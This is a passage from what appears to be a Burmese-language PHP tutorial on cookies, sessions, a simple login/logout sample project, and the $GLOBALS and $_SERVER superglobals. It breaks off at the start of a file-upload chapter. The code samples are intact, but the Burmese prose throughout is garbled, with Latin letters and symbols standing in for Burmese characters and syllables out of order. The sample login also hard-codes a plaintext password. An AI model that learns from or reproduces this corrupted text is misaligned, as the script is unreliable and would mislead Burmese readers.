တစ်ကယ်ပေတာ့  Cookie  ထဲမှာတန်Kုိးပေတွ သိမ်းပံုသိမ်းနည်းကို  ပေဖြပာပြပီဆိုရင်၊  ဘယ်လုိဖြပန်လည်ရယူရလဲ၊
ဖြပန်Kျက်]ျင်ရင်  ဘယ်လုိKျက်ရလဲ  စသည်ဖြKင့်  ပေဖြပာKုိ့လုိပါတယ်။  ဒါပေပမယ့်  ဒီပေနရာမှာ  ပေဖြပာ]ျင်တာက
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JavaScript နဲ့ Cookie Data ပေတွကို ဘယ်လုိစီမံရလဲ ဆိုတဲ့အပေကြကာင်း မဟုတ်ပါဘူး။ အ့ဲဒီ Cookie Data
ပေတွကို PHP နဲ့ ဘယ်လုိစီမံရလဲဆိုတာကို ပေဖြပာ]ျင်တာပါ။

PHP  ဟာ  Server-side  မှာအလုပ်လုပ်တဲ့  နည်းပညာဖြKစ်တဲ့အတွက်  Client  ဖြKစ်တဲ့  Browser  ရဲ့  Cookie
ပေတွကို  တိုက်ရိုက်စီမံလို့ပေတာ့  မရပါဘူး။  ဒါပေပမယ့်  စီမံပံုစီမံနည်းပေတာ့  ရှိပါတယ်။  PHP  မှာ
setcookie() လ့ုိပေ]ါ်တဲ့ Standard Function တစ်]ုရှိပါတယ်။ ဒီလုိပေရးရပါတယ်။

setcookie("name", "Bob");
setcookie("theme", "light");

ဒါဟာ PHP ကိုအသံုးဖြပုပြပီး name=Bob နဲ့ theme=light ဆိုတဲ့ Cookie Data နှစ်]ုကို သိမ်း]ိုင်လုိက်
တာပါ။  PHP  က  Browser  ပေပါ်မှာ သူကိုယ်တိုင်သွားသိမ်းလို့  မရပေပမယ့်  Response  နဲ့အတူ  Response
Header ထဲမှာ အ]ုလုိ ထည့်ပေပးလုိက်မှာပါ။

HTTP/1.1 200 OK
Set-Cookie: name=Bob
Set-Cookie: theme=light

ဒီလိုမျ ို း Set-Cookie Header နဲ့ Response ကိုပေပးလုိက်တဲ့အ]ါ လက်]ံရရှတိဲ့ Browser က သိသွားပါ
တယ်။  ဒါဟာ  Server  က  ငါ့ကို  Cookie  Data  ပေတွသိမ်း]ိုင်းပေနတာပဲ။  ဒါပေကြကာင့်  Browser  က  ဒီ
Response ကို လက်]ရံရှိ]ျနိ်မှာ Cookie Data ပေတွကို  Server ကိုယ်စား သိမ်းပေပးသွားမှာပဲ ဖြKစ်ပါတယ်။
ဒီလိုတစ်ကြကိမ် သိမ်းထားလုိက်ပြပီဆိုရင်ပေတာ့ ပေနာက်ပုိင်းဖြပုလုပ်တဲ့ Request ပေတွမှာ Cookie Data ပေတွက
ပူးတွဲပါဝင်သွားပေတာ့မှာပဲ ဖြKစ်ပါတယ်။

ဒါကိုလက်ပေတွ့စမ်းသပ်နိုင်Kို့အတွက်  save-cookie.php ဆိုတဲ့အမည်နဲ့ Kုိင်တစ်]ုထဲမှာ  အ]ုလုိပေလး
ပေရးပြပီးစမ်းကြကည့်နိုင်ပါတယ်။
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 PHP 

<?php

setcookie("name", "Bob");
setcookie("theme", "light");

echo "See view-cookie.php";

Cookie  Data  ပေတွသိမ်း]ိုင်းတဲ့ကုဒ်ကို  ပေရးပေပးလုိက်တာပါ။  ဒီလုိသိမ်းပေပးလုိက်တဲ့အတွက်  ပေနာက်ပုိင်း
Request  ပေတွမှာ  အလုိအပေလ�ာက်  ပါဝင်လာမယ့်  တန်Kိုးပေတွကိုပေတာ့  PHP  က  $_COOKIE
Superglobal Variable  နဲ့ အသင့်လက်]ံထားပေပးမှာ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့်  view-cookie.php ဆို
တဲ့Kုိင်ထဲမှာ ဒီလုိပေရးပြပီးစမ်းကြကည့်နိုင်ပါတယ်။

 PHP 

<?php

print_r( $_COOKIE );

// Array ( [name] => Bob [theme] => light )

Browser က အလုိအပေလ�ာက် ပေပးပ့ုိလုိက်တဲ့အတွက်  Cookie Data ပေတွ  $_COOKIE Superglobal ထဲ
မှာ အသင့်ရှိပေနတာကို  ပေတွ့ ဖြမင်ရဖြ]င်းပဲဖြKစ်ပါတယ်။  Cookie  ပေတွသိမ်းစဉ်မှာ  Expire Time  နဲ့  Path  ကို
ထည့်သွင်းသိမ်းဆည်းနိုင်ပါတယ်။ Expire Time ဆိုတာ ဒီ Cookie ကို ဘယ်ပေလာက်ကြကာပေအာင် သိမ်းပေပး
ရမှာလဲဆိုတဲ့ သက်တမ်းဖြKစ်ပါတယ်။ အ]ုလုိ သက်တမ်းကို သတ်မှတ်ပေပးနိုင်ပါတယ်။

setcookie("name", "Bob", time() + 3600);

ဒါဟာ  name=Bob ဆိုတဲ့  Cookie  တန်Kုိးကို  အ]ျနိ်  (၁)  နာရီသက်တမ်း  သတ်မှတ်ပေပးလုိက်တာပါ။
time() Function ကလက်ရှိအ]ျနိ်ရဲ့ Timestamp ကိုဖြပန်ပေပးပြပီး သတ်မှတ်လုိတဲ့ သက်တမ်းကို စက္ကန့်နဲ့
ပေပါင်းပေပးလုိက်တာပါ။  စက္ကန့်  (၃၆၀၀)  လ့ုိပေဖြပာလုိက်တဲ့အတွက်  အ]ျနိ်  (၁)  နာရီသက်တမ်းကို  ရရိှသွား
တာပါ။ ဒါပေကြကာင့်  (၁)  နာရီဖြပည့်တဲ့အ]ါ  Browser  ကဒီ  Cookie  ကို  အလုိအပေလ�ာက် ပယ်Kျက်လုိက်မှာ
ဖြKစ်ပါတယ်။
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အ]ျနိ်သက်တမ်းကို (၁) ရက်၊ (၁) ပါတ်၊ စသည်ဖြKင့်ကိုယ်သတ်မှတ်လုိသပေလာက် သတ်မှတ်ပေပးလ့ုိ ရနိုင်ပါ
တယ်။ အကယ်၍ သက်တမ်းသတ်မှတ်ပေပးဖြ]င်း မရှိရင်ပေတာ့ လက်ရှိ Browser Kွင့်ထား]ျနိ်၊ ရှိပေနမှာဖြKစ်ပြပီး
Browser ပိတ်လုိက်]ျနိ်မှာ ပယ်Kျက်လုိက်မှာ ဖြKစ်ပါတယ်။

Cookie ပေတဟွာ မူအရ လက်ရှိအလုပ်လုပ်ပေနတဲ့  Host နဲ့သာ သက်ဆိုင်ပါတယ်။ localhost အတွက်
သိမ်းထားတဲ့  Cookie  ဟာ  localhost:3000 နဲ့သက်ဆိုင်မှာ  မဟုတ်ပါဘူး။  Host  မတူတဲ့အတွက်
ပေကြကာင့်ပါ။  localhost အတွက်သိမ်းထားတဲ့  Cookie  ပေတွကိပုေတာ့  localhost အတွင်းက  Kုိဒါ
အားလံုးနဲ့  သက်ဆိုင်ပါတယ်။  အ့ဲဒီလုိ  သက်ဆိုင်လုိပေစဖြ]င်း  မရှိဘူးဆိုရင်  Cookie  ကို  သိမ်းစဉ်မှာ  သူနဲ့
သက်ဆိုင်တဲ့ Path ကို သတ်မှတ်ပေပးလုိက်လို့ ရပါတယ်။ ဒီလုိသတ်မှတ်ပေပးရပါတယ် –

setcookie("path", "cookie", time() + 3600, "/form/");

ဒါဟာ path=cookie ဆိုတဲ့ Cookie Data ကို အ]ျနိ် (၁) နာရီသက်တမ်းနဲ့ သတ်မှတ်လုိက်တာပါ။ ပြပီး
တဲ့အ]ါ  ပေနာက်ဆုံး  Argument  အပေနနဲ့  /form/ လ့ုိထည့်ပေပးထားတဲ့အတွက်  form Kုိဒါထဲမှာပဲ  ဒီ
Cookie  တန်Kုိးက  အသက်ဝင်မှာဖြKစ်ပါတယ်။  တစ်ဖြ]ား  Kုိဒါပေတွမှာ  ဒီတန်Kုိးကို  အသံုးဖြပုလုိရ့ပေတာ့မှာ
မဟုတ်ပါဘူး။

လုိအပ်လ့ုိ Cookie တန်Kုိးပေတွ ပယ်Kျက်လုိရင်ပေတာ့ အ]ုလိုပယ်Kျက်နိုင်ပါတယ်။

setcookie("name", "", time() - 1);

သက်တမ်းကို  Minus  နဲ့ပေပးလုိက်ဖြ]င်းအားဖြKင့်  သက်တမ်းကုန်ပြပီးပေနပြပီဆိုတဲ့  အဓိပ္ပါယ်သက်ပေရာက်ပေနလ့ုိ
Browser က Cookie ကို ပယ်Kျက်လုိက်မှာပဲဖြKစ်ပါတယ်။
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Sessions
Cookie  နဲ့  သပေဘာသဘာဝ ဆင်တူပြပီး အလုပ်လုပ်ပံုကွဲဖြပားတဲ့  Session  လ့ုိပေ]ါ်တဲ့နည်းပညာလည်း ရှိပါ
ပေသးတယ်။ Cookie Data ပေတွဟာ Web Browser နဲ့အတူသိမ်းဆည်းတဲ့ Data ပေတွဖြKစ်ပြပီး Session Data
ကိုပေတာ့ Web Server နဲ့အတူ သိမ်းပါတယ်။ ဒီလုိပေရးရပါတယ် –

 PHP 

<?php

session_start();

$_SESSION['user'] = 'Tom';

ဒါဟာ  user=Tom ဆိုတဲ့  Session  Data  တစ်]ုကို  Web  Server  မှာ  သိမ်းလုိက်တာပါ။
session_start() Function  က Session  ရိှမရှိစစ်ပြပီး ရှရိင်သံုးပေပးပါတယ်။ မရှရိင် အသစ်ပေဆာက်
ပေပးပါတယ်။  အ့ဲဒီလုိ  session_start() ကို  Run  ပြပီးပြပီဆိုရင်  $_SESSION Superglobal  ကပေန
တစ်ဆင့် သိမ်း]ျင်တဲ့  Data  ပေတွ သိမ်းလ့ုိရပြပီဖြKစ်သလုိ သိမ်းထားတဲ့  Data  ပေတွကိုလည်း အသံုးဖြပုလ့ုိရပြပီ
ဖြKစ်ပါတယ်။ 

Session တန်Kုိးတစ်]ုသိမ်းလုိက်တဲ့အ]ါ PHP က Session ID တစ်]ုကို အလိုအပေလ�ာက် Auto Generate
လုပ်ပြပီး PHPSESSID အမည်နဲ့ Cookie Data ကိုဖြပန်ပေပးပါတယ်။ ဒါပေကြကာင့် Browser က PHPSESSID
ကို  Cookie  Data  အပေနနဲ့  သ့ူဘက်မှာ  သိမ်းပေပးရပါတယ်။  ဘာအဓိပ္ပါယ်လဲဆိုပေတာ့၊  Data    ကို    Server  
ဘက်မှာ   Session   အပေနနဲ့ သိမ်းထားပြပီး၊ အ့ဲဒီလုိသိမ်းထားတဲ့    Data   ကို ယူသံုးK့ုိအတွက် လုိအပ်တဲ့    ID   ကို  
Browser    ဘက်မှာ သိမ်းပေပးလုိက်ရတဲ့သပေဘာပဲ ဖြKစ်ပါတယ်  ။ ဒီ  Session ID  မပါရင်  Session Data  ကို
အသုံးဖြပု]ွင့်ပေပးမှာ မဟုတ်လုိ့  Session  ထဲမှာ သိမ်းထားတဲ့  Data  ပေတဟွာ အထုိက်အပေလ�ာက် လံုခြ]ုံမှုရှိ
တယ်လို့ ဆိုနိုင်ပါတယ်။ ဒီ Session ID ကို အတုလုပ်K့ုိဆိုတာ မလွယ်ပါဘူး။ ဒါပေပမယ့် ID အစစ်ကို ]ိုးယူ
တဲ့နည်းပေတွပေတာ့ ရှိပေနပါတယ်။ ဒါပေကြကာင့် အထုိက်အပေလ�ာက် လံုခြ]ုံမှုရှိပေပမယ့် အဖြပည့်အဝလံုခြ]ုံတယ်လ့ုိ
တစ်ထစ်]ျ မမှတ်သင့်တာကိုပေတာ့ သတိဖြပုပါ။

Session မှာပေတာ့ Cookie လ့ုိ Expire Time ပေတွဘာပေတွ မရှိပါဘူး။ ဒါပေကြကာင့် သက်တမ်းကို သတ်မှတ်ပြပီး
သံုးK့ုိရည်ရွယ်တာ မဟုတ်ဘဲ လက်ရှိ  Browser Kွင့်ထားစဉ်ကာလ ]ဏသိမ်းပြပီးသံုးK့ုိသာ ရည်ရွယ်တာဖြKစ်
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ပါတယ်။  Session  ရဲ့ထူးဖြ]ား]ျက်က  Array  ပေတွ  Object  ပေတွကိုပါ  သိမ်းလ့ုိရဖြ]င်းဖြKစ်ပါတယ်။ ရပေအာင်
သိမ်းမယ်ဆိုရင် ရနိုင်ပေပမယ့် Cookie ရဲ့သပေဘာကပေတာ့ ရိုးရိုး Text ပေတွကိုသာ သိမ်းK့ုိဖြKစ်ပါတယ်။

သိမ်းထားတဲ့ Session Data ပေတွကို ဖြပန်Kျက်]ျင်ရင် ဒီလိုဖြပန်Kျက်လ့ုိရပါတယ်။

 PHP 

<?php

session_start();

unset( $_SESSION['user'] );

session_start() နဲ့ ရှိပေနတဲ့  Session ကိုပေ]ါ်ယူလုိက်ပြပီး  unset Statement နဲ့ ကိုယ်Kျက်]ျင်တဲ့
Session တန်Kုိးကို Kျက်ပေပးလုိက်တာဖြKစ်ပါတယ်။

Sample Project
အ]ုပေလ့လာထားတဲ့  Request  Data  စီမံပံု  Session  စီမံပံုတို့ကို  လက်ပေတွ့စမ်းသပ်ရင်း  ပေလ့လာနိုင်K့ုိ
အတွက် နမူနာပပေရာဂျက်ပေလး တစ်]ုပေလာက် လုပ်ကြကည့်]ျင်ပါတယ်။ ရှိရမယ့် ပပေရာဂျက်KုိဒါKဲွ့စည်းပုံက
ဒီလိုပါ။

project/
├── css/
│     └── bootstrap.min.css
│
├── _actions/
│     ├── login.php
│     └── logout.php
│
├── index.php
├── register.php
└── profile.php

ပပေရာဂျက်Kုိဒါအမည်ကို အဆန်းအဖြပားပေတွ ပေပးမပေနပေတာ့ဘဲ project လ့ုိပဲ ပေပးထားပါတယ်။ အထဲမှာ
css Kုိဒါရှိပြပီး  css Kုိဒါထဲမှာ  bootstrap.min.css Kုိင်  ရှိပေနပါတယ်။  အ့ဲဒီKုိင်ကို
getbootstrap.com ကပေန  Download  ရယူရမှာ  ဖြKစ်ပါတယ်။  ကိုယ်ဘာသာ  ပေရးရမှာ  မဟုတ်ပါဘူး။

https://getbootstrap.com/
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ပေရှ့ဆက်ပေKာ်ဖြပတဲ့  နမူနာပေတွမှာ  Bootstrap CSS Framework  ကို  ထည့်သွင်း  အသံုးဖြပုပြပီး  ဆက်လက်
ပေKာ်ဖြပသွားမှာပါ။  စာKတ်သူက  Bootstrap  အပေကြကာင်း သိရှိပြပီးဖြKစ်တယ်လ့ုိ  သပေဘာထားပြပီး  ဆက်လက်
ပေKာ်ဖြပသွားမှာပါ။  မသိပေသးရင်ပေတာ့  Bootstrap  လိမေုတိမေုရှင်း စာအုပ်ကို  အရင်Kတ်ပြပီးမှ  အ]ုပေKာ်ဖြပမယ့်
ပပေရာဂျက်ကို ဆက်လုပ်သင့်ပါတယ်။

ပပေရာဂျက်Kုိဒါထဲမှာ _actions ဆိုတဲ့အမည်နဲ့ Kုိဒါတစ်]ုလဲ ရိှပါပေသးတယ်။ ပပေရာဂျက်Kုိဒါရဲ့ Kဲွ့စည်းပံု
ပုိစနစ်ကျသွားပေအာင် Kုိင်ပေတွကို အမျ ို းအစား နှစ်မျ ို း]ွဲထား]ျင်လ့ုိပါ။ User တိုက်ရိုက်ထိပေတွ့စရာ မလုိတဲ့
ကုဒ်Kုိင်ပေတွကို  _actions Kုိဒါထဲမှာထားပြပီး၊  User  တိုက်ရိုက်ထိပေတွ့Kို့လုိတဲ့  ကုဒ်Kိုင်ပေတွကို  အဖြပင် ပ
ပေရာဂျက်Kုိဒါထဲမှာပဲ  ထား]ျင်တာပါ။  _actions Kုိဒါထဲမှာ  login.php နဲ့  logout.php တို့ကို
တည်ပေဆာက်ပြပီး အဖြပင်ပပေရာဂျက်Kိုဒါထဲမှာ index.php, register.php နဲ့ profile.php တို့
ကို ဆက်လက်တည်ပေဆာက်ပေပးပါ။ ဒီKုိင်ပေတွကပေတာ့ ကိုယ့်ဘာသာ တည်ပေဆာက်ရမယ့်Kိုင်ပေတွပါ။ အထဲ
မှာ ကုဒ်နမူနာပေတွ ဆက်လက် ပေရးသားသွားကြကမှာ ဖြKစ်ပါတယ်။ 

လုပ်]ျင်တာက  profile.php မှာ  User Profile  ရှိပေနပြပီး  Login  ဝင်ထားမှသာ အ့ဲဒီ  Profile  ကို  ဝင်
ကြကည့်]ွင့် ရိှပေစ]ျင်တာပါ။ ဒါပေကြကာင့် profile.php မှာ အ]ုလုိ ပေရးပေပးပါ။

 PHP 

<?php

    session_start();

    if(!isset($_SESSION['user'])) {
        header('location: index.php');
        exit();
    }

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Profile</title>
    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
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<body>
    <div class="container mt-5">
        <h1 class="mb-3">John Doe (Manager)</h1>
        <ul class="list-group">
            <li class="list-group-item">
                <b>Email:</b> john.doe@gmail.com
            </li>
            <li class="list-group-item">
                <b>Phone:</b> (09) 243 867 645
            </li>
            <li class="list-group-item">
                <b>Address:</b> No. 321, Main Street, West City
            </li>
        </ul>
        <br>

        <a href="_actions/logout.php">Logout</a>
    </div>
</body>
</html>

ဒီအဆင့်မှာ  ပေအာက်ပိုင်းက  HTML  ပေတွက  သိပ်အပေရးမကြကီးပေသးပါဘူး။  ဖြပစရာရှိပေအာင်သာ  နမူနာ
အ]ျက်အလက်တစ်]ျ ို ့ ထည့်ထားတာပါ။ အပေရးကြကီးတာက အပေပါ်ဆုံးက PHP နဲ့ ပေရးထားတဲ့အပုိင်း ဖြKစ်
ပါတယ်။

session_start() ကို  Run ထားတဲ့အတွက် Session Data ပေတွကို အသံုးဖြပုလို့ရပါပြပီ။ Session ထဲ
မှာ user ဆိုတဲ့ Data ရိှမရှိစစ်ပြပီး မရှိရင် ကျန်တဲ့အလုပ်ပေတွ ဆက်မလုပ်ပေတာ့ဘဲ index.php ကို သွား
လုိက်မှာပါ။  header() Function  ကိုသုံးပြပီး  location: index.php ဆိုတဲ့  Response Header
ကို ဖြပန်ပေပးလုိက်တာပါ။  PHP မှာ Redirect  လ့ုိပေ]ါ်တဲ့ တစ်ပေနရာရာကို သွားပေစ]ျင်ရင် အ့ဲဒီလုိ ပေရးပေပးရ
တာပါ။  ဒီပေနရာမှာ  မကြကာမကြကာပေတွ့ရတဲ့  အမှားကပေတာ့  location  : လ့ုိပေရးမိတတ်ကြကတာပါပဲ။
Colon သပေက�တနဲ့ location ရဲ့ကြကားထဲမှာ Space   ထည့်လ့ုိမရပါဘူး  ။ တဲွပေရးပေပးရပါတယ်။

နမူနာမှာပါတဲ့  exit() Function  ကိုလည်း သတိဖြပုပါ။  die() ကိုလည်း  exit() အစား သုံးနိုင်ပါ
တယ်။ အ့ဲဒီ Function ပေတွကိပုေတွ့ရင် PHP ကလုပ်ပေနတဲ့အလုပ်ပေတွကို ရပ်လုိက်မှာပါ။ ဆက်မလုပ်ပေတာ့
ပါဘူး။  exit() မပါရင်လည်း ပေရးထားတဲ့အတိုင်း  index.php ကိုသွားမှာပါပဲ။ ဒါပေပမယ့် ပေအာက်က
ကျန်တဲ့အလုပ်ပေတွ အကုန်ပြပီးပေတာ့မှ သွားမှာပါ။ ဒီလုိမဖြKစ်ပေစ]ျင်တဲ့အတွက် exit() ကို ထည့်တာပါ။
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အ]ုပေန profile.php ကို သွားကြကည့်လုိက်ရင်  index.php ကိုအလုိအပေလ�ာက် ပေရာက်သွားတာကို
ပေတွ့ရမှာ ဖြKစ်ပါတယ်။ Session ထဲမှာ User Data မရှိလ့ုိ Profile ကို ကြကည့်]ွင့်မပေပးတာပါ။ စမ်းကြကည့်နိုင်
ပါတယ်။

localhost/project/profile.php

index.php မှာအ]ုလုိပေရးသားပေပးပါ။

 PHP 

<!DOCTYPE html>
<html>
<head>
    <title>Home</title>
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/bootstrap.min.css">

    <style>
        .wrap {
            width: 100%;
            max-width: 400px;
            margin: 40px auto;
        }
    </style>
</head>
<body class="text-center">
    <div class="wrap">
        <h1 class="h3 mb-3">Login</h1>

        <?php if ( isset($_GET['incorrect']) ) : ?>
            <div class="alert alert-warning">
                Incorrect Email or Password
            </div>
        <?php endif ?>

        <form action="_actions/login.php" method="post">
            <input 
                type="email" name="email" 
                class="form-control mb-2" 
                placeholder="Email" required
            >
            <input 
                type="password" name="password" 
                class="form-control mb-2" 
                placeholder="Password" required
            >
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            <button type="submit" 
class="w-100 btn btn-lg btn-primary">

                Login
            </button>
        </form>
        <br>

        <a href="register.php">Register</a>
    </div>
</body>
</html>

ပေရးထားတဲ့ကုဒ်မှာ  HTML Form ကိုအရင်ကြကည့်ပါ။  Form ရဲ့  action မှာ  _actions/login.php
လ့ုိပေပးထားတဲ့အတွက် ဒီ  Form ကပေန Data  ပေတွ ပ့ုိလုိက်ရင်  _actions Kုိဒါထဲမှာရှိတဲ့  login.php
ကိုပေရာက်သွားမှာပါ။  method ကိုပေတာ့  post လ့ုိပေပးထားတဲ့အတွက်  ပ့ုိလိုက်တဲ့  Data  ပေတဟွာ
$_POST နဲ့ $_REQUEST Superglobal ပေတွထဲမှာ ရှိပေနမှာပါ။ လုိအပ်တဲ့ CSS ကုဒ်တစ်]ျ ို ့နဲ့ Bootstrap
Class ပေတွ ထည့်ပေပးထားတဲ့အတွက် ဒီ Form ရဲ့ ပေKာ်ဖြပပံုက အ]ုလုိဖြKစ်မှာပါ။
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စမ်းသပ်အသံုးဖြပုနိုင်K့ုိအတွက် ဆက်လက်ပြပီးပေတာ့ _actions/login.php မှာ ဒီလိုပေရးပေပးပါ။

 PHP 

<?php

session_start();

$email = $_POST['email'];

$password = $_POST['password'];

if ($email === 'john.doe@gmail.com' and $password === 'jd123pwd') {

    $_SESSION['user'] = ['username' => 'John Doe'];

    header('location: ../profile.php');

} else {

    header('location: ../index.php?incorrect=1');

}

session_start() ကို  Run ထားတဲ့အတွက်  Session Data  ပေတွစီမံလုိ့ရပါပြပီ။ ပြပီးတဲ့အ]ါ  $_POST
Superglobal  ထဲက တစ်Kက်  Form ကပေနပေပးပ့ုိလုိက်လ့ုိ ပေရာက်ရှိပေနတဲ့  email နဲ့  password တို့ကို
ရယူပါတယ်။ ပြပီးတဲ့အ]ါ email က john.doe@gmail.com နဲ့ password က jd123pwd မှန်ကန်ဖြ]င်းရှိမ
ရှိ  စစ်ထားပါတယ်။  မှန်ရင်  Session  ထဲမှာ  User  Data  ကို  သိမ်းလုိက်ပြပီး  profile.php ကို  သွား
]ိုင်းလုိက်ပါတယ်။  မမှန်ရင်ပေတာ့  Login  Form  ရှရိာ  index.php ကို  URL  Query  တန်Kုိး
incorrect=1 နဲ့ ဖြပန်သွား]ိုင်းလိုက်ပါတယ်။ လကရ်ှိအလုပ်လုပ်ပေနတာက _actions Kုိဒါထဲမှာ ဖြKစ်
တဲ့အတွက် Location ပေပးတဲ့ပေနရာမှာ ../ နဲ့ အဖြပင်Kုိဒါတစ်ဆင့် ဖြပန်ထွက်ပေပးရတာကို သတိဖြပုပါ။

ပေစာပေစာက ပေရး]ဲ့တဲ့  index.php ကိုဖြပန်ပေလ့လာကြကည့်ရင် URL Query မှာ incorrect ဆိုတဲ့  Data
ပါမပါ  စစ်ပြပီး  ပါပေနရင်  Error  Message  ဖြပတဲ့ကုဒ်ထည့ပ်ေရးထားတာကို  ပေတွ့ရနိုင်ပါတယ်။  ဒါပေကြကာင့်
email နဲ့ password မမှန်တဲ့အ]ါ Error Message ကို Login Form နဲ့အတူ အ]ုလုိ ပေတွ့ဖြမင်ရမှာပါ။
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စမ်းကြကည့်လ့ုိရပါပြပီ။ email နဲ့  password မှန်ပေအာင်ပေပးလုိက်ရင် profile.php ကိပုေရာက်သွားမှာ
ဖြKစ်လ့ုိ အ]ုလုိရလဒ်ကို ရရှိမှာပဲ ဖြKစ်ပါတယ်။
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ဒီတစ်]ါပေတာ့  profile.php ကို ဖြပနိုင်သွားပါပြပီ။  Session ထဲမှာ  User Data ရှိသွားပြပီမ့ုိလ့ုိပါ။  Profile
ရဲ့ပေအာက်နားမှာ _actions Kုိဒါထဲက logout.php နဲ့]ျတိ်ပေပးထားတဲ့  Logout Link လည်းပါဝင်ပါ
တယ်။ ဒါပေကြကာင့်  Logout  ဖြပန်လုပ်]ျင်ရင် လုပ်လ့ုိရပေအာင်  _actions/logout.php မှာ အ]ုလုိပေရး
ပေပးပါ။

 PHP 

<?php

session_start();
unset( $_SESSION['user'] );

header('location: ../index.php');

Session ထဲက User Data ကိုKျက်ပြပီး index.php ကို ဖြပန်သွား]ိုင်းလုိက်တာပါ။ Session ထဲက Data
ကို Kျက်လုိက်တယ်ဆိုတာဟာ Logout လုပ်လုိက်တဲ့သပေဘာပါပဲ။

အ]ုဆိုရင်  အပေဖြ]]ံ  Login/Logout  လုပ်ပေဆာင်]ျက်ပေလးတစ်]ုကို  ရရှိသွားပြပီပဲဖြKစ်ပါတယ်။  Register
လုပ်ပေဆာင်]ျက်ပေတာ့ မထည့်ရပေသးပါဘူး။ ဒီပေနရာမှာ ထည့်လ့ုိမရပေသးပါဘူး။  Database  နဲ့ပက်သက်တဲ့
အပေကြကာင်းအရာပေတွ  ပေဖြပာပြပီးမှ  ဆက်ထည့်ကြကပါမယ်။။  ဒါပေကြကာင့်  ဒီပပေရာဂျက်ကုဒ်ကို  သိမ်းထားပါ။
ပေနာက်အ]န်းပေတွမှာ လုိအပ်တဲ့ လုပ်ပေဆာင်]ျက်ပေတွ ဆက်လက် ဖြKည့်စွက်သွားမှာမ့ုိလ့ုိပါ။

$GLOBALS & $_SERVERS
Superglobal  ပေတွအပေကြကာင်း  ပေဖြပာရင်းနဲ့  $GLOBALS နဲ့  $_SERVER Superglobal  ပေတွကိုလည်း
ထည့်သွင်းမှတ်သားသင့်ပါတယ်။  $GLOBALS Superglobal  ဟာ  တစ်ဖြ]ား  Superglobal  ပေတွမှာလ့ုိ
Underscore   နဲ့ မစတာကို   သတိဖြပုပါ။ သ့ူထဲမှာ $_GET တို့ $_POST တို့လုိ တစ်ဖြ]ား Superglobal ပေတွ
နဲ့ ကိုယ်ပေကြကညာ အသံုးဖြပုထားတဲ့ Global Variable ပေတွ အပါအဝင် ရှရိှိသမ� Global Variable အားလံုးရဲ့
တန်Kုိးပေတွ သ့ူထဲမှာ ရှိပေနမှာပါ။ ပံုမှန်ဆိုရင်  Function ပေတွထဲမှာ  global Keyword ကိုသံုးပြပီး  Global
Variable  ကိရုယူအသံုးဖြပုရတယ်လို့  အထက်မှာ  ပေလ့လာ]ဲ့ကြကပါတယ်။  အကယ်၍  အ့ဲဒီလုိမသံုးဘဲ
$GLOBALS Superglobal ထဲကပေန တိုက်ရိုကရ်ယူပြပီး သံုးမယ်ဆိုရင်လည်း ရနိုင်ပါတယ်။ ဥပမာ - 
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 PHP 

<?php

$name = "Alice";

function hello() {
echo "Hello " . $GLOBALS['name'];

}

hello(); // Hello Alice

global Statement  နဲ့  Function  ထဲမှာ  ပေကြကညာမထားပေပမယ့်  Global  Variable  $name ကို
$GLOBALS ကပေနတစ်ဆင့် ရယူအသံုးဖြပုလို့ ရနိုင်တာကို ပေတွ့ ဖြမင်ရဖြ]င်း ဖြKစ်ပါတယ်။

$_SERVER Superglobal  ကလည်း  ပေတာ်ပေတာ်အသံုးဝင်ပါတယ်။  သ့ူထဲမှာ  User  Agent,  Request
Method, Request URI, Query String  စသည်ဖြKင့်  Request/Response  နဲ့ပက်သက်တဲ့အ]ျက်အလက်
ပေတွ အကုန်ရှိပေနတာပါ။ ပါဝင်တဲ့ အ]ျက်အလက်ပေတွကို သိ]ျင်ရင် print_r( $_SERVER ) ကို Run
ကြကည့်နိုင်ပါတယ်။ ဒီလုိရလဒ်မျ ို းကို ဖြပန်ရပါလိမ့်မယ်။

Array
(

[HTTP_HOST] => localhost
[HTTP_USER_AGENT] => Mozilla/5.0
[HTTP_COOKIE] => PHPSESSID=cgnblv9srsrnro3pjj4m428qi6
[SERVER_SOFTWARE] => Apache/2.4.46 (Unix)
[SERVER_NAME] => localhost
[SERVER_ADDR] => ::1
[SERVER_PORT] => 80
[REMOTE_ADDR] => ::1
[DOCUMENT_ROOT] => /opt/lampp/htdocs
[CONTEXT_DOCUMENT_ROOT] => /opt/lampp/htdocs
[SCRIPT_FILENAME] => /opt/lampp/htdocs/app/a.php
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] => 
[REQUEST_URI] => /app/a.php
[PHP_SELF] => /app/a.php
[REQUEST_TIME_FLOAT] => 1611046916.4418
[REQUEST_TIME] => 1611046916

)
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အမှန်တစ်ကယ်ရမယ့် ရလဒ်ကို အနည်းငယ်]ျုံ့ပြပီး ပေKာ်ဖြပလုိက်တာပါ။ Request/Response နဲ့ ပက်သက်
တဲ့ အ]ျက်အလက်ပေတွအဖြပင် Server   ရဲ့   Host Name, IP Address, Client   ရဲ့   IP Address,   လက်ရှိအလုပ်  
လုပ်ပေနတဲ့  ကုဒ်Kုိင်ရဲ့တည်ပေနရာ စတဲ့အ]ျက်အလက်မျ ို းပေတွလည်း  ရှိပေနလ့ုိ  ကိုယ့်ပပေရာဂျက်မှာ  ဒီလုိ
အ]ျက်အလက်ပေတွ လုိအပ်လာရင် $_SERVER Superglobal ကပေန အသင့်ယူသံုးလုိက်ယံုပါပဲ။ 
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အခန်း (၁၃) – File Upload

File Upload ဆိုတာဟာ ပြပီး]ဲ့တဲ့အ]န်းမှာ Request Data ပေတွစီမံပုံအပေကြကာင်း ပေဖြပာရင်းနဲ့ တစ်]ါထဲ ပေဖြပာ
ရမယ့် အပေကြကာင်းအရာပါ။ ပေရာသွားမှာစိုးလ့ုိသာ အ]ုလုိ တစ်]န်းသပ်သပ်]ွဲပြပီးပေတာ့ ပေKာ်ဖြပလုိက်တာပါ။
Request  နဲ့အတူပါဝင်လာမယ့်  Data  ပေတွဟာ  URL Query  အပေနနဲ့ပဲ  လာလာ၊  Form  ကပေနပဲလာလာ
အများအားဖြKင့်  Plain Text Data  ပေတွဖြKစ်ကြကပါတယ်။ အ့ဲဒီလုိ  Text Data  ပေတွအဖြပင်  Request  နဲ့အတူ
